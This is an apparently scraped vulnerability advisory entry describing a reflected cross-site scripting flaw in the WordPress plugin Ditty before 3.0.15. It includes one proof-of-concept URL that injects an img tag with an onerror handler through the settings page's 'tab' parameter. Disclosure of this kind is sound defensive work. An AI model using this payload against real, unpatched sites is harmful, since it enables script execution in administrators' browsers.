Lucene search

K
wpexploitKrzysztof ZającWPEX-ID:40F36692-C898-4441-AD24-2DC17856BD74
HistoryFeb 09, 2022 - 12:00 a.m.

Ditty (formerly Ditty News Ticker) < 3.0.15 - Reflected Cross-Site Scripting (XSS)

2022-02-0900:00:00
Krzysztof Zając
189

0.001 Low

EPSS

Percentile

41.5%

The plugin is affected by a Reflected Cross-Site Scripting (XSS) vulnerability.

http://127.0.0.1:8001/wp-admin/edit.php?post_type=ditty&page=ditty_settings&tab=%22%3E%3Cimg+src+onerror%3Dalert%281%29%3E

0.001 Low

EPSS

Percentile

41.5%

Related for WPEX-ID:40F36692-C898-4441-AD24-2DC17856BD74